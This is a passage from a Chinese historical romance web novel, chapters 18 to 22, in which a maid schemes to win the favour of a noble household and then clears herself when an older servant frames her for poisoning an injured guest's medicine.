公子世家子弟啊,今早当着那么多下人的面被宁从夏拿茶杯砸,下了脸面。 谁知他这般在乎宁从夏,能低声下气的去求和,可还是被宁从夏给撵了出来。 她还就不信,公子还能一点不生气的。 所以她思虑片刻后,进了主卧,给公子换上热茶。 他换了寝衣坐在屋里,一动不动,好像在生闷气。 可欢娘眼中,他气了才好呢。 “公子,宁姑娘现在搬出去了,奴婢……是搬过去伺候她吗?” 她试着开口,试探。 “祖母安排了人照顾,用不着你。” “可宁姑娘这两日习惯了奴婢伺候,现在突然搬出去,约莫心情是不会好的,不如还是让奴婢过去,哄哄宁姑娘。” 她又道。 这一说,萧晋文怒火更甚。 “哄什么哄?事事都要哄,事事都要让着她,她简直蛮不讲理,你是本公子的通房丫鬟,不是她的,你就留在这儿,伺候本公子。” 看来她是赌对了,公子一而再再而三包容宁从夏,但不会一直无底线,不在乎尊严的包容下去。 那她得趁此机会,距离公子更近些才行。 “那奴婢先给您暖床。” 欢娘沉默了片刻后,小声道。 萧晋文烦躁的脸上划过一丝惊愕,下一秒就噌的站起,目露凶光。 “滚出去。” 那表情,像是一下就把欢娘当成了洪水猛兽。 欢娘慌乱的连忙后退两步,连连道歉。 “奴婢不该,可奴婢听月莹姐姐说,公子极怕冷,是需要暖床的,公子不要奴婢,那……那奴婢去找月莹姐姐过来。” 一边说就一边后退,看上去是被吓得不轻,眼看着就真的要跑出去叫人。 可她说的话,却又那么的清晰。 “你刚才,说什么?” 萧晋文脸色阴沉的问道。 欢娘看到他那脸色,就越发害怕。 “公子恕罪,奴婢……怕伺候不好公子,所以就向月莹姐姐请教,她……她说公子您……怕冷,晚上一个人睡不着……” 她说的磕磕绊绊,越说越紧张,声音都在发抖。 萧晋文就看到她居然怕的眼里都聚满了泪水,还有一丝委屈。 她才见过他几次,怎么可能了解他的习惯? 而且今夜主卧的床铺确实冰凉,往日月莹都会早早就暖好的,怎么就刚好今晚就忘了呢? 萧晋文瞬间悟了,看着眼前被吓的快哭的欢娘,这不是笨的天天被人耍吗? “用不着你暖床,不过你今晚,睡耳房去。” 她若出去,明日就会被人笑话,萧晋文都能想到她明天一定是一脸羞愧的无言辩驳。 月莹,仰仗着和他一起长大,嚣张了些,竟用自己的习惯去欺负人?实在可恶。 “是,谢公子不怪奴婢。” 欢娘表现的如同大赦一般,脸上挂起一抹牵强的笑,那眼泪轻轻的顺着脸颊滑落了一颗。 冰晶似的眼泪挂在红润白皙的脸上,萧晋文看的失了神。 但欢娘已经行了礼,匆匆跑了出去。 半响后,萧晋文有些尴尬的挠了挠头,心道,祖母给的这老丫鬟,还怪好看的。 可没过多久,他正要躺进那凉飕飕的被褥里时,欢娘却再次敲开门,进来。 “奴婢在厨房找到了这个,给您放了炭火在里面,放在脚边,铺上被褥,一会儿就不凉了。” “公子既然不要奴婢暖床,那就……将就一下。” 欢娘抱着脚炉,径直走到床边,塞进了被褥里。 萧晋文看着她再转身看自己时,已经红了脸。 但说完她就跑出去了,来的匆匆,去的也匆匆,只留下一股淡淡的野蔷薇香味。 后来,他隐约听到隔壁耳房开门又关门的声音。 很快又没了动静。 他突然就觉得这寂静的主卧里,格外冷清,不由得又想起了小夏,莫名的就有些烦躁。 翻了个身,便睡了过去。 耳房里的欢娘,自从有了汤婆子,晚上睡觉都暖洋洋的,只是今夜,她却异常的燥热。 热气是从体内传出来的,让她有些难受,她拉开被子想凉快凉快,却觉得口干舌燥的。 奇怪,难道是这两日吃错了什么东西? 她又偷偷的起身,倒水来喝。 翌日清晨。 月莹进屋,伺候萧晋文洗漱,欢娘打了热水进屋,规规矩矩的站在后面。 “不必你们,欢娘伺候就成。” 萧晋文想起昨夜的事,对月莹冷了脸。 她刚伸出的手顿了一下,僵硬着一张脸,默默的退到一旁。 “昨夜你做的不错,以后都由你负责暖床,早上陪着我去做早课,杂活交给月莹去做就是。” 萧晋文张开了双手,任由着欢娘伺候穿衣。 话音刚落,屋里的仆人好像都屏住了呼吸。 月莹身后的人都下意识看向她。 只有欢娘,萧晋文看到她居然有些害怕的看着他,好像想拒绝。 真没出息啊。 第十八章想方设法,都在找他 “祖母送你来,是伺候我的,我自然是要时时刻刻带着你。” 真傻,这种机会都还想拒绝? 那就只能他亲自给她这份‘恩赏’了。 “是,奴婢定好好伺候公子。” 欢娘垂下头,显得格外乖顺。 “公子既用不着奴婢,那奴婢就先出去了,院子里还有许多活要干。” 月莹脸黑如墨,有些生气的道。 “恩。” 萧晋文眼皮都没抬一下,本意就是要敲打她,让她认清楚自己的身份。 月莹甩着脸,就走了出去。 暖床?难道她当真亲自给公子暖床了?公子说她伺候的好,那是不是…… 不,不会的,公子讨厌欢娘。 月莹暗暗告诫自己,绝不可乱了分寸。 欢娘垂着头站在萧晋文身边,眼眸里掩藏着胜利的喜悦。 “公子今早想吃什么?奴婢去厨房准备了送去书房?” 伺候着他穿戴整齐,洗漱后,她小声问道。 即便两人距离接近,她也没有半分献媚的姿态,也就是个本本份份的丫鬟。 “行,你去准备。” 所以萧晋文和她站在一起,挺自在的。 “那……要给相爷准备一份吗?” 欢娘点点头,小心试探着问道。 反正前两日都是她准备的,相爷也爱吃,她这么问,只当是在为公子考虑,尽孝心。 “父亲爱吃斋菜,你找厨房的去问问,该备点什么。” 果然,萧晋文并未多想。 他只想着,多尽孝,回头父亲再看他的功课,也许不会那么生气。 欢娘应下,便去了厨房。 这不又有顺理成章给相爷准备早饭的机会了吗? 不过也得让他知晓,那是她给准备的。 所以吃食上,得想些新花样。 欢娘直奔大厨房时,在厨房外头的院子里看到了一颗还在盛开的梅树幼苗。 因为相爷喜欢,所以下人们也想方设法的培植梅树,只期待着成活后能移栽到花园里,得相爷一个奖赏。 看着那不多的梅花瓣,欢娘有了想法。 一个时辰后。 萧怀停下朝归来,桌上便放着一道新鲜吃食,米香的软糯和梅香的秀雅相融合,细腻柔和且散发幽香。 还有一道梅花齑,加了少许白菜在清面汤中,又放了姜片和小茴香腌制,撒入少量梅花点缀。 “今日的早饭,谁送来的?” 他只看了一眼,就觉得奇怪,怎么近日来,衣食上似乎比以前要精细了些? “是……大公子特意命他身旁的人给爷您准备早饭,大公子他很关心您。” 萧一琢磨了一阵,才道,这话说的他自己都觉得拗口。 紧跟着就看到爷投来了冰冷的目光。 “厨房送餐的人这么说的。” 他又补充了一句。 萧怀停看着桌上那精致的美食,幽幽的叹了口气。 萧一很是莫名,都不知道爷在想什么。 但他看得出这两日,爷的胃口倒是不错。 承德院,书房。 萧晋文就没吃上这般精细的食物了,一碗鸡汤面,搭配一碟红枣糕,一盘橘子,都是简单易成的。 欢娘伺候他吃完早饭后,就开始给他磨墨,想着日后若能去相爷身边伺候,她势必要什么都会,让相爷挑不出错来。 这等细致活,她没做过,捣鼓半天也没弄成。 正懊恼时,却听到大公子笑出了声,他不知何时停了笔,看着她。 欢娘连忙垂下头。 “公子,奴婢不会。” 她从前就是个粗使丫鬟,哪会这个啊。 “看出来了,我若不出声,你打算自己捣鼓到何时?我这毛笔可都干了。” 欢娘被调侃的红了脸。 “往砚堂倒入三滴清水,左手按住砚台边缘固定,右手执墨锭,垂直握持,让墨锭的侧面紧贴砚堂……” 他一边讲述着,一边抓着欢娘的手,亲自教她。 书房外,月莹才端着茶过来,就看到那么碍眼的一幕。 她掉头就走,被气愤冲昏了头脑。 院里冯婆看到女儿黑着脸回来,无视她直接回了房间。 她愣了一下,伸长了脖子往书房里看去,只见公子和欢娘很是亲密,还有说有笑。 小贱蹄子。 她眼中划过一丝阴暗,可她也得意不了多久了。 萧晋文的功课做的还是不太顺利,纸团扔了一个又一个,他逐渐暴躁了。 “公子,奴婢看您难以下笔,是不是就和奴婢不会研墨一样,您遇到了不懂的问题?” “那这是相爷布置的,不如去请教相爷?您都思考这么久了,想必有很多困惑。” “奴婢以前扫地想自己编扫帚,可也不会,自己琢磨不透,一请教人,马上就会了。” 萧晋文本来还想说,我这问题哪里是你这蠢笨丫鬟的问题能比的。 可说着说着,他突然又觉得,也有道理啊。 她说的那不就是‘不耻下问’吗? 每次他苦思冥想,不得章法,最后胡乱写了一些去,然后被臭骂一顿。 还不如认输,主动就去问,反正结果也不会更差。 “带上东西,我们走。” 萧晋文站起身,让欢娘拿着他的这些功课,直奔长风院。 却来的不是时候,院里有客人。 萧晋文垂着头,欲离开时,萧一走了出来。 “大公子,爷请您去书房。” “父亲有客在,我去,合适吗?” 萧晋文满脸都写着抗拒,父亲的朋友,那就和父亲一样凶。 “来的是您的老师。” 萧一又道。 这下可好,他就算不愿意,那也得垂着脑袋进去了。 “你先回吧。” 他打发走了欢娘,自己抱着功课去了书房,不知道的以为他那是上了刑场呢。 欢娘暗叹口气,还以为能见到相爷呢,这不……又没戏了。 她下意识伸长脖子,往那边看了看,可书房门紧闭着,什么也没看着。 一旁萧一面无表情的盯着她,就跟盯犯人一样。 看来就连相爷的侍卫,都防着她。 欢娘无奈,只得先离开。 可真有本事,自打她跟了大公子,大公子来找爷的次数都变多了。 萧一看着她失望离开,嘴角微翘。 本以为是没机会了,但谁想才刚走出长风院,丽姑姑就找了过来。 “可让我好找,找了几圈才在这儿遇到你。” 她带着笑,大概是走路急了,气喘吁吁的。 “姑姑有事?” “你做的那香料,可能再精细些?相爷喜欢那香味,要我们弄一些去屋里当香薰用。” 丽姑姑抓着她一边走,一边小声说着。 “相爷喜欢?” 欢娘有些意外,那鼻子是有多好?居然一下就闻出来了。 第十九章被人算计 大祸临头? “是啊,采菊姑娘特地来交代,最好能今晚就送过去。” 这般着急吗? 欢娘停下脚步,往长风院看去,只见那里的梅树随着风轻晃了几下,梅花瓣轻轻飘落。 “昨日做的香料,房里倒是还有一块,我先拿给姑姑,只是若要精细些,我还得再想别的法子。” “恩,要帮忙你说,这次你可真是帮了大忙,回头若有奖赏,姑姑一定不会忘了你。” 一边说着话,丽姑姑一边跟着欢娘去了承德院。 将那块香料给了丽姑姑以后,欢娘回屋重新梳理了一下妆容。 本想弄的精致些,可相爷那性子…… 算了。 她又将头发弄的随意一些,刚才上妆时下手过重,又将口脂擦掉些。 不久后,她提着篮子,再次站在长风院门口。 这里的守卫实在太严了,欢娘还没有自由进出的资格。 篮子里已经放了些梅花瓣,是刚才她在院外捡的,她偏着篮子,特意给侍卫看。 “侍卫大哥,我想进去捡一些梅花,用来做香薰,我发誓,捡完就走,绝不耽搁,还请侍卫大哥通融。” 欢娘指着在外院的梅树。 侍卫一侧头就能看到,倒是很显眼。 “丽姑姑说要给相爷做些好用的香料,新鲜的材料是最好的,还请您帮帮忙。” 跟着她又道。 倒是有想过收买侍卫,行个方便,可这个地方的侍卫,她不敢乱来。 指不定这一刻贿赂,下一刻就会被相爷知晓。 “那你快点,捡完就赶紧走。” 侍卫听她是为相爷准备这些东西,也只是一些掉落的花瓣而已,倒是无关紧要。 “好,我快些。” 欢娘点点头,走进长风院。 她就站在梅花树下,将掉落的花瓣一片片的捡起,也没有多余的动作,更不敢乱看。 可她如果没记错的话,因相爷喜欢这梅树,所以当初种植的位置也很讲究。 无论是在卧室,还是书房,都能看到这边的景色。 她就绕着梅树到处转悠,停留两刻钟,就不信,他会看不到。 只是捡着捡着,眼下突然出现了一双白净的绣花鞋。 欢娘抬眸望去。 只见面前的女子一身艳粉色棉袄,五官秀丽温婉,端庄的好似大家闺秀。 她连忙站起身,行了礼。 “采菊姑娘。” “你认识我?” 采菊有些错愕,因为她眼中这姑娘,可眼生的很。 欢娘摇了摇头,前世认识,可今生,她们是第一次见面。 “我听说,相爷身边的仆人多是男人,只有一嬷嬷还有贴身丫鬟,看您的样子,猜测您就是采菊姑娘。” 如果不是她抢了去爬床,现在她应当是相爷的通房了。 所以欢娘突然见到她,有些紧张。 采菊听了她的解释,也并未怀疑。 “你叫什么名字,捡这些做什么?” 方才她在小厨房,看到有一女子蹲在梅花树下,手提花篮,姿态妖娆,就忍不住走来看看。 近了看,就觉得这丫鬟确实是有几分颜色。 欢娘连忙报了身份,说明自己的来意。 即便采菊不是通房,但那也是相爷身边的得力大丫鬟。 虽同是伺候主子的,但伺候相爷,伺候大公子的仆人,也分等级。 采菊在所有丫鬟中,地位便是最高的。 “所以相爷喜欢那香薰,便是你做的?” 她有些意外。 欢娘是真没想过,会是采菊先这样问,一时她也不知这是福还是祸。 她点了点头。 “倒是有心,手也巧。” 采菊淡淡道。 语气有些冷漠,还带着些许嘲讽,可欢娘听着,没觉得她生气,也不像月莹和宁从夏那样,总是见不惯她。 想来,就她的身份,采菊也没将她放在眼里。 采菊这语气,和相爷就是如出一辙,真不愧是跟了相爷十年的。 “既如此,往后你每日都过来,将凋落的梅花捡个干净,多做些香薰存放着。” 她扫了一圈,发现欢娘捡的是真干净,就跟扫地一个效果。 相爷他喜欢这味道,可到了夏日这冷梅难寻。 落地成泥可惜了,做成香薰倒是颇有价值。 还有这好事呢? 欢娘也是没意料到。 “好,那奴婢定好好做。” 她行了礼退下,心里却高兴,看来日后有好一阵子不用每次过来要进门,都得求侍卫大哥了。 日日来捡,她就不信,会一日碰不上相爷。 书房里,等事情谈妥后,萧晋文亲自送老师出了府。 采菊进屋换热茶。 “方才那丫鬟,捡梅花作甚?” 萧怀停看到了,而且还看了一阵子。 他觉得可笑,学着古人来葬花,都葬到他跟前来了。 真是矫揉造作,不知所谓。 可他这一问,采菊却有些意外。 相爷他何时关注过这些小事了?莫不成是怕人坏了他的梅树? “那丫鬟叫欢娘,会做香薰,丽姑姑新得的那香料应当是她做的。” 不是葬花? 萧怀停有些错愕。 “奴婢想着她既有这手艺,便让她日日过来捡。” 原本这等小事相爷是不过问的,但他既然问了,采菊想还是交代清楚,以免相爷怪罪。 萧怀停神色晦暗,到底是没再说什么。 欢娘回去后,便将梅花挑拣,然后浸泡。 今日这一篮子,都做了香薰倒是能用些时日,之后捡的,可以再做些别的。 她正高兴着,却突然听到外头传来一阵吵闹。 “小贱蹄子,我就知道她没安什么好心,居然还敢下毒害人,她死定了。” 是冯婆的声音。 骂骂咧咧的,越来越近。 门一下被踹开。 突然就冲进来两个粗使丫鬟,一左一右直接扯住她胳膊。 冯婆紧随其后,眼里全是狠毒和算计,十分嚣张的往那里一站。 “拿了她,给大公子处置去。” “冯婆,你这是做什么?” 两个粗使丫鬟力气大,抓了她,就难以反抗。 欢娘挣扎了两下,却越抓越紧。 “呵,小贱人还在这儿装无辜,敢下毒害人,我告诉你,今天就是你的死期,带走。” 冯婆冷笑着。 手一挥,两个丫鬟就紧拽着她往外去。 从承德院,拉去了倚竹院,两个丫鬟粗鲁,将她直接推倒在地。 “就是她,药是她抓回来的,一定是她在里面下了毒,才会让宁姑娘吐血不止.” 第二十章预料之中的,又慌什么? “老奴亲眼看到她出去给姑娘抓药。” 冯婆站在一旁,指证她的语气都很有力。 欢娘抬头,便看到靠在软榻上,脸色惨白的宁从夏。 捂着心口,似乎很痛苦的样子。 她这状况,是又更差了吗?真可惜,怎么没一下毒死她呢? “宁姑娘,您……您怎么了?” 欢娘露出几分担心,还有紧张。 可听着冯婆的指证,她可太知道实情了,冯婆这是终于行动了。 “你问我?我还想问问你,为什么要害我?你到底给我吃了什么?” 宁从夏掩饰不住的愤怒,说完又止不住的咳嗽起来,血染红了帕子。 这下,她是真的比之前更惨了,受了内伤。 欢娘无辜的摇头。 “奴婢绝对没有害您,那药是大夫抓的,奴婢……” “到现在还嘴硬?简直死不悔改,宁姑娘,她这般害你,不如就打她二十板子,再发卖出去做贱奴。” 可冯婆甚至不给她说话的机会,站在一旁,目露凶光,好似要吃人。 “你……咳咳咳……” 宁从夏眼中划过一丝厉色,正欲说话时,余光瞥见门口来了人。 便住了嘴,假装虚弱的咳嗽起来。 “大公子到。” 门口仆人大声禀报着,萧晋文就如一阵风,快步冲到了宁从夏身边。 “你怎么样?” 眼里全是担忧和心疼。 她这一受伤,先前那些不满和别扭,立刻被抛出脑后。 萧晋文眼里,全是宁从夏,甚至也不顾有人在场,紧紧的搂住了她。 “禀大公子,欢娘她投毒……” 冯婆再次站出来,生怕别人说的不够清楚,她将实情从头到尾,说了一遍。 先前月莹抓来的药吃完了,欢娘要自己去抓药,从昨日起,就给宁姑娘煎服新买回来的药。 今天一早,刚喝完,就吐血不止,方才还晕了过去。 而且已经找大夫查验过,那药方里是加了水蛭,对于受外伤的人,那简直就是毒药,喝了就会吐血不止,还会受内伤。 所以冯婆立即就带着丫鬟去将欢娘抓了过来,问罪。 “是你干的?” 冯婆说的有理有据,语气还十分的笃定。 萧晋文搂着怀里的人,慌的乱了神智,看着欢娘的眼神慢慢变得冰冷。 但这还算好的了。 欢娘肯定,如果不是这两日自己给公子留下了不错的印象,他绝对会像第一次一样,不问缘由,立刻处置了她。 就如冯婆所说的,打残了,再扔出去卖做贱奴。 而此时的冯婆,已经露出了即将胜利的兴奋,脸上难掩得意。 好像在说,你这回,死定了。 “公子,奴婢确实是给宁姑娘换了药方,但那药里肯定没有水蛭,只是多了黄芪和丹参,大夫说那都是利于伤口结痂,不留疤的好药材。” 欢娘急切的解释着。 跪着往前两步,拽住宁从夏的衣袖。 “姑娘,奴婢跟您说过的,换了药那天奴婢还跟您说,您记得吗?” 宁从夏靠在萧晋文怀里,立刻想到了那天欢娘唧唧哇哇说的话。 确实有这回事。 可现在……听说昨晚欢娘去暖床了? 而且萧晋文还点名要她一直伺候? 这种人应该马上死了才好,她目光一冷,有些虚弱的开口。 “你确实说了一些,可我……并没见过你带回来的药,口说无凭,你让我如何信你?” “就是,单凭你两句话,怎么证明?倒是这药,大夫已经查验过。” 冯婆连忙道。 其实她没想到欢娘居然真的换了药方,心里慌了一下。 但细想,就算她换了又能怎样?难道还有人能给她证明吗?而且私底下擅自给别人换药方,简直就是愚蠢。 宁从夏这是不认阿,但好在欢娘也没指望过她帮自己澄清。 “不是没有凭证,奴婢这里有柳大夫开的方子,也是柳大夫亲自给奴婢抓的药。” 欢娘连忙从里衣口袋里掏出药方来。 恭恭敬敬的递给萧晋文。 冯婆下意识就要去抢,可药方在萧晋文手里,她还没那胆子。 “你以为,随便拿个方子出来就能糊弄人了?” 她站在原地急的脚趾扣地,双手紧握着,忍不住反问。 “公子,柳大夫医术高明,老夫人和相爷都信任他,所以奴婢想着他开的方子定是好的,公子若不信奴婢所说,可去找柳大夫过来对峙。” 欢娘垂着头,柔声道。 她看似忐忑紧张,眼底却十分平静。 早就料到的,也早就安排好了,她有什么可怕的? 不仅不怕,她还有些兴奋。 萧晋文看了药方。 柳大夫是相府府医,他幼时便认识了,父亲和祖母都信任的人,他自然不会怀疑。 “确实是柳大夫的字迹,这做不得假。” “公子,就算是柳大夫开的,可谁知道她开这药方想干嘛?如果只是为了骗您呢?她开了这药方,却又让伙计抓了另外的药来害人?不管怎样,宁姑娘现在就是因为喝了那药,才吐血的。” 冯婆一听到这话,着急了。 这贱婢,哪里来的那么多心眼子,还让柳大夫开了药方作证?难道她从一开始就知道自己会用这药来陷害她? “冯婆,那日奴婢专门找您要了药方,还告诉您,奴婢要去抓药,奴婢还没蠢到这样去害人?您不觉得若真是奴婢下的毒,这么做不是在自寻死路吗?” 欢娘淡淡道。 可不就是吗?害人应该偷偷藏起来,不让人抓住把柄。 谁像她这样?弄的大家都知道不说,还真的换了药方? “你……我怎么会知道你怎么想的?你说你抓了药,那事实上你带回来的药就是有毒,谁知道你是不是就抓了两幅?” 冯婆慌了,现在的她才意识到,一开始欢娘是不是就给她挖了个坑,让她跳? 可就算是现在,也绝不能承认。 自己已经是府里的老人了,一家都在府上做事,而她,不过是个不得宠的老丫鬟而已。 却在这时,秦嬷嬷匆匆赶了过来。 “公子,老夫人知道了宁姑娘吐血,特意命老奴过来瞧瞧?也已经派人去请了柳大夫。” 她有些气喘,看着应当是收到消息就快步来了。 “老奴斗胆多嘴,既然是这药有毒,不妨就派人去查查,除了柳大夫那里,别处可还有人拿着这方子去抓过药?” 秦嬷嬷十分恭敬的站在萧晋文面前,虽有些气喘,但镇定沉稳。 处理这些事,她看上去游刃有余。 这番话下来,冯婆脸色煞白,脑子一片空白。 “嬷嬷言之有理,那便先去查。” 萧晋文点了点头。 “何必说那么多?现在只要弄清楚我喝的那药,到底从何处来的?不就真相大白了吗?” 宁从夏从冯婆那紧张的神情中,看出了些许异常。 她实在太着急给欢娘定罪了,这就很可疑。 她当然不想放过欢娘,可当下如果是有人要害她,她总要先揪出凶手,保证自己的安全。 毕竟对她有杀心的人,才是最危险的。 第二十一章是来撑腰的? 冯婆面色煞白,脑海中忽然就想起了那日自己匆匆跑出去办的事。 她本觉得对付一个无足轻重的欢娘,也没人会在意,所以根本就没有掩饰。 若真的查到是她?那大公子一定饶不了她的。 “都先散了吧,别在这儿影响宁姑娘养身体。” 恰巧这时秦嬷嬷开口。 她连忙转身,就匆匆往外跑去。 欢娘一回头,便看到了她跑去的背影,下意识看向公子那边。 只见秦嬷嬷一个眼神示意,从老夫人院里带来的人就悄然跟上了冯婆。 这下,冯婆可完了。 欢娘立刻放心下来,这盆脏水,泼不到她身上了。 秦嬷嬷出手,那必定是老夫人的意思,既然秦嬷嬷没有针对自己,那就是相信自己无辜。 “看着欢娘,直到查明真相之前,不准她和任何人接触。” 只是在别人眼中,她还是嫌疑人,该办的,都少不了。 欢娘也规规矩矩的就在倚竹院的偏房里待着,心里只是在祈祷着,事情赶紧解决,可别耽误了她给相爷做香薰。 话说回来,这里的事情,相爷会知道吗? 想法刚产生,就被她消灭了,相爷日理万机,又怎会关注后院这些鸡毛蒜皮的小事呢? 可就在她被关在偏房后,一个意想不到的人,来了倚竹院。 采菊踏进主卧时,就好似一阵冷风,吹进了屋子里。 屋内伺候的仆人纷纷朝她行礼,除了秦嬷嬷。 见到她来时,宁从夏都不禁挺直了腰背,忍不住好奇,来人会是哪家的小姐? 可她进屋后,朝着萧晋文行了礼。 “奴婢奉相爷之命,来探望宁姑娘。” 身后两个丫鬟便抬着一箱子走了进来,上等的锦缎十匹,金银首饰一盒。 这是探望礼。 宁从夏扫了一眼,心下并不在意这些俗物,反正萧晋文多的是。 但是相爷赏赐的,那就另当别论了,她有种备受重视的错觉。 只是还真让她意外阿,相爷身边的丫鬟,竟这般的‘贵气端庄’吗? “多谢相爷挂心。” 她从萧晋文怀里挣扎着,坐直了身体。 奇怪的很,看到采菊,她莫名就有种要端庄的想法,怕被她笑话了去。 “恩。” 采菊只是冲着宁从霞礼貌的点了点头,然后就看向了萧晋文。 “还请允许奴婢在这儿待会儿,事情解决了,奴婢也好去跟爷回禀。” 萧晋文应下。 她便行礼,退出门外。 她往外面一站,屋内的丫鬟也都纷纷退了出去。 无形之中,好似是以她为尊。 宁从夏惊愕的同时,心中竟是生出一丝羡慕来。 权倾朝野的相爷,他身边的人尚且如此,那他本人…… “没事,父亲那是好意。” 萧晋文看小夏一时没说话,以为她是紧张了,柔声安慰着。 全府,父亲身边的仆人,是最吓人的,他小时候见到他们,也会怕。 宁从夏看了看萧晋文,他是相府唯一的大公子,那未来……他定也会有这般的气魄。 她点了点头,轻轻的依偎在他怀里,看来日后要收敛些才好,脾气不能太大惹他烦,绝不能让萧晋文逃出她的手掌心。 而萧晋文此刻的心情,很复杂。 他没想到,这么点事情,父亲居然把采菊都派过来了。 而且祖母也很重视。 他本以为自己离家出走一个月,回来时又带了个姑娘,就这么不明不白的住在家里,家里人对他一定很失望。 可祖母她……没怪他,还问他是不是心悦小夏? 就连平日里不管闲事的父亲,也派人来关心。 萧晋文忽然有些惭愧,他是不是太不懂事了些? 若不是欢娘先前提醒他去找祖母,他只怕还要误解一家人对他的好。 这次的事情……只怕是有误解的。 他又想起了今天一早自己去见老师,当着老师和父亲的面将他那些不入流的功课拿出,然后大胆问出心中那些困惑时。 父亲和老师根本没有笑话他的问题幼稚,也不觉得他蠢,反而还认真解答,他心有所感,说了许多。 不知不觉就过了一个上午,最后送老师走时,他又被夸了。 这一切,有欢娘的功劳。 她那么尽心尽力伺候主子的一个人,可他却在没弄清真相之前,就责怪她。 顿时,萧晋文的愧疚,竟是又多了一点。 两个时辰后。 一行人风风火火的进了倚竹院,只见她们提着一老妇,扔进了主屋。 看上去,竟是要比方才被带来的欢娘还要惨些。 她披头散发,鼻青脸肿的,还衣衫破烂。 仔细看去,那可不就是冯婆吗? 等欢娘被传召进屋时,看到这样的她,都愣了一下。 “公子,老奴一路跟着她,发现她收拾了金银细软,准备偷偷出城,后来在追堵中,她还拿着凶器要伤咱们的人,费了些力气,才把人绑回来。” 好像没欢娘什么事,她就站在一旁静静的听着。 说话的是秦嬷嬷带来的粗使婆子。 她带了两个家仆,将人绑了回来。 随后,又进来一个小丫鬟,给秦嬷嬷递了张字条。 “公子,已经确认有人去安家药铺用这药方买了一副药,还特地买了水蛭,需要将人带过来认认吗?” 秦嬷嬷看过后收起了纸条。 与此同时,冯婆脸色灰白,一脸的绝望。 “冯婆,你觉得呢?” 都到这程度了,在场的人能还不懂?萧晋文本就怀疑自己错怪了欢娘。 此刻,根本想都不用想。 他气的站起身,一脚将冯婆踢飞。 “死老刁婆,你怎么那么歹毒?为什么要毒害宁姑娘,你说?” 冯婆吐了口污血,整个人因为疼痛,蜷缩在角落里,痛苦的呻吟着。 “她……该死,谁让她目中无人,谁让她针对我儿媳妇,给我女儿难堪的?我不过是给她点教训而已。” 她低吼着,红着眼瞪着宁从夏,满是恨意。 所以这就是承认了吗?而且理由还那么充分? 与此同时,月莹从外面冲了进来,一看到这情形,连忙跪在萧晋文面前。 “大公子,大公子饶命阿,我母亲是一时糊涂,才做错了事,该罚,但请求大公子饶她一命。” 她跪下就猛地磕头,不过片刻便头破血流。 “饶……咳咳咳……” 只是一边磕头,一边咳嗽不止。 脸色也透着不正常的潮红,看着像是生了病,看着很是可怜。 “你知道你娘做的这些事?” 萧晋文眼底的厉色收敛了些许,但依旧冷漠,甚至看到月莹的瞬间,火气更大了些。 第二十二章都是些讨好献媚的小把戏而已 月莹无力的摇着头,眼里泛着泪光,抬起头,卑微的看着萧晋文。 “奴婢若是知晓,定会阻止她的,请公子,千万要相信奴婢。” 眼泪跟着滑落。 然后跟着月莹的小翠就急急忙忙跑了进来,还一瘸一拐的。 “公子明鉴,奴婢能作证,月莹姐姐是真的不知道,今天下午冯婆她……” 小翠说月莹今早发了高热,一直昏迷不醒,根本不知道外面发生了什么。 后来冯婆回去收拾东西,小翠看到了,她欲阻止,却被冯婆打晕。 再醒来,就已经是现在冯婆被抓。 “奴婢走过来时,已经听外头的人在议论,奴婢的娘下毒,害了宁姑娘,小翠又告诉奴婢,娘她畏罪潜逃,所以……所以奴婢才知道这些事。” 月莹跟着哭诉,很是委屈的表示她真的什么都不知道。 欢娘在一旁冷眼看着。 可真机灵阿,时机抓的这样好,才事发就跑来求情,还要把自己给摘出去? 欢娘也真是意外,她本想着冯婆下毒被揭发,月莹定是脱不了干系的。 可谁知道就那么巧,月莹她生病,今日不曾露过面,而冯婆居然为了自保伤人潜逃。 可想而知她若逃了,在府上的他们一家人会被怎样处置? 冯婆压根就没管他们的死活,所以这一出戏下来,月莹哭诉她的无辜,只怕公子会信。 果然,她抬眼便看到公子他面露不忍,到底是将月莹扶了起来。 她偷望向宁从夏,那眼里已经满是杀气,好像恨不得立刻宰了月莹。 之后的事情,便简单了。 冯婆毒害宁从夏,萧晋文本想将人直接打死,可月莹求情后,秦嬷嬷也开了口,给了解决办法。 那也没比死要好多少。 将冯婆重打二十大板,贬为罪奴,发配到矿山去挖矿石,终生做苦力,不得再下山。 京都郊外的矿山,欢娘听说过,听说犯了错被主家厌弃的家仆都被发配到那里做苦力。 家仆是主家的所有物,发卖不出去,随便打杀了是主家的损失,送到矿山后劳力所得,所创造的价值就都归主家所有。 没一会儿,冯婆被打板子的惨叫声,响遍了整个院子,她是晕死过去,被抬走的。 月莹哭着,哭着,一个体力不支,晕了过去。 “公子,事情既然解决了,那奴婢便先回去复命。” 刚消停,采菊便行了礼告退。 然后便是秦嬷嬷,带着她带来的人,也回去了。 倚竹院里,仍旧是那俩丫鬟伺候着。 欢娘见公子要留在这儿陪着宁从夏,也不多事,自己悄然离开。 人刚散,萧晋文下意识去寻欢娘,等他发现时,只见她已经出了院门,那背影看着,略显落寞。 他心生出一丝愧疚。 “咳咳咳……” 却再次被宁从夏的咳嗽声打断。 “小夏,都是我不好,害的你如此。” 萧晋文愧疚极了,因为方才柳大夫来看过,这几日养伤那都白费了。 而且还引发了内伤,又得卧床再次调理。 而这一切,都是他家里的奴才干的。 欢娘回了自己的房间。 洗漱后,便呆在屋里调香。 长风院里,采菊站在屋内,将今日发生的事情详细禀报。 说完后,见相爷没什么动静,她便又道。 “那宁姑娘今日倒是什么都没说,老夫人派了秦嬷嬷过去处理此事,她为人如何,奴婢看的也不真切。” “可看得出公子对那宁姑娘是极为上心的。” 采菊跟在相爷身边时间长,自认为能猜到他一二分心思。 所以她觉得相爷应当是让她过去,探一探那宁姑娘的性情。 “恩,家世如何?” 半响后,萧怀停点了点头,问道。 采菊便觉得自己的猜测,是没错的。 “江湖女子,听闻早年也是书香门第,可后来父母双亡,她便流落江湖,行侠仗义,锄强扶弱。” 她想了想,道。 这些小事不用相爷吩咐,做仆人的,都会上心,打探一二。 萧怀停又只是点了点头,没再说什么。 见状,采菊也行礼,告退了。 翌日。 一大早,欢娘便进厨房,给相爷准备早膳。 厨房的张爷以为是大公子的意思,再加上前两天早上她做的饭菜确实合相爷的胃口。 他也没说什么。 任由着她做。 “张爷,早膳就让我和秋儿一起送过去吧,得了采菊姑娘的允许,我可以去长风院捡梅花瓣,就顺道一起了。” 那秋儿是大厨房里专门负责给相爷送膳食的丫鬟。 欢娘琢磨着,这样过去,更容易遇到相爷。 而张爷一听是采菊允诺的,便也没什么意见。 所以当萧怀停换下朝服后,便看到了欢娘带着早饭过来。 